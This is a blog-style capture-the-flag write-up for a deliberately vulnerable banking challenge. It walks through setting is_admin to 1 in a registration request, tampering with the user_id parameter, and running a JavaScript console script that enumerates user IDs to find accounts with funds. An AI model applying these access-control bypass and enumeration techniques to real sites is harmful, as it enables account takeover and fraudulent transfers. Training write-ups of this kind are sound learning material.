My first post :)!!

Prerequisites

  • HTML and Javascript experience.
  • Basic knowledge of HTTP requests and API endpoints.
  • Developer Panel (I recommend using firefox) or similar software that enables sending web requests.

Exploring the website

After entering the challenge I was in https://websecdojo.com/thebank/index.php.
Since I didn’t have an account I thought it’d be better to attempt to create one so I clicked Don't have an account? Register here.

Trying to register

First because I know it’s a CTF challenge focused on HTTP requests I opened the network tab.
Entered fabricated data and submitted the web-form. Found a POST request to this URL: https://websecdojo.com/thebank/register.php. The request’s had a parameter named is_admin the was set to 0. When changed to 1, resending the request will result in a GET request to the URL: https://websecdojo.com/thebank/dashboard.php.

The dashboard

Go to https://websecdojo.com/thebank/dashboard.php in your browser. While the network tab is open try to fill out the form, the request returns failure as response. We can see in the request that in the URL there’s a parameter named user_id. Going through the dashboard’s HTML I found the function that submits the form.

Examining the form submission

Examine this simple function:

        function handleTransfer(event) {
            event.preventDefault();
            
            const form = document.getElementById('transferForm');
            const formData = new FormData(form);
            
            // Get user_id from URL or default to 0
            const urlParams = new URLSearchParams(window.location.search);
            const userId = urlParams.get('user_id') || '0';
            
            // Add user_id to formData
            formData.append('user_id', userId);
            
            fetch('api.php?user_id=' + userId, {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                const messageDiv = document.getElementById('transferMessage');
                if (data.success) {
                    messageDiv.className = 'alert alert-success mt-3';
                    messageDiv.textContent = 'Transfer successful!';
                    form.reset();
                } else {
                    messageDiv.className = 'alert alert-danger mt-3';
                    messageDiv.textContent = data.message || 'Transfer failed. Please try again.';
                }
            })
            .catch(error => {
                const messageDiv = document.getElementById('transferMessage');
                messageDiv.className = 'alert alert-danger mt-3';
                messageDiv.textContent = 'An error occurred. Please try again.';
                console.error('Error:', error);
            });
            
            return false;
        }

Basically, the function checks the URL for parameters, if none found the user_id will be set as 0.

Trying to switch into a user that has funds

I added ?user_id=0 to the URL resulting in this: https://websecdojo.com/thebank/dashboard.php?user_id=0. Now the user’s named User Bobbetta instead of Admin and yet still has no balance. Trying to fill out the form again and submitting it results in failure response. Trying different IDs return the same user. Assuming the IDs can be enumerated i wrote this script (ChatGPT wrote it for me ;)):

let id = 0;
const maxAttempts = 5000; // adjust as needed
const delay = 200; // ms delay between requests to avoid hammering the server

function checkNextId() {
    if (id > maxAttempts) {
        console.log("Reached maximum attempts.");
        return;
    }

    fetch(`https://websecdojo.com/thebank/dashboard.php?user_id=${id}`, {
        credentials: 'include' // keep session cookies
    })
    .then(res => res.text())
    .then(html => {
        // Look for the admin HTML marker
        if (html.includes('<span id="username">Admin</span>')) {
            console.log(`🎯 Found Admin at user_id=${id}`);
            console.log(`URL: https://websecdojo.com/thebank/dashboard.php?user_id=${id}`);
            // Optionally open in new tab:
            window.open(`https://websecdojo.com/thebank/dashboard.php?user_id=${id}`, '_blank');
        } else if (!html.includes('User Bobbetta')) {
            console.log(`✅ Found non-Bobbetta user at id=${id}`);
        } else {
            console.log(`⛔ Skipped id=${id}`);
        }
    })
    .catch(err => {
        console.warn(`Error at id=${id}:`, err);
    })
    .finally(() => {
        id++;
        setTimeout(checkNextId, delay);
    });
}

checkNextId();

Pasted it in the console that’s in the Developer Panel and found two users with IDs 10 and 11.

Switching into user that has funds

I entered this URL: https://websecdojo.com/thebank/dashboard.php?user_id=10 Got into a user named User John Doe with $10000. Filled out the form with fabricated information. The website showed failure yet the request returned success.

Getting the flag

This one took me a while… Most people ofen overlook certain parts of HTTP requests. In this Case it was the Response Headers. Looking there you will find the flag header: x-flag: flag#theflagwillbehere

Conclusions

Examine the request thoroughly, you can use ChatGPT for this if you’re lazy.

Important remarks

I would like to thank Avi who created this fun CTF challenge and gave me the clue to the last part. I overlooked the Response Headers. Check out his awesome Web CTFs website: https://websecdojo.com/


<
Previous Post
Blog Post Title From First Header
>
Blog Archive
Archive of all previous blog posts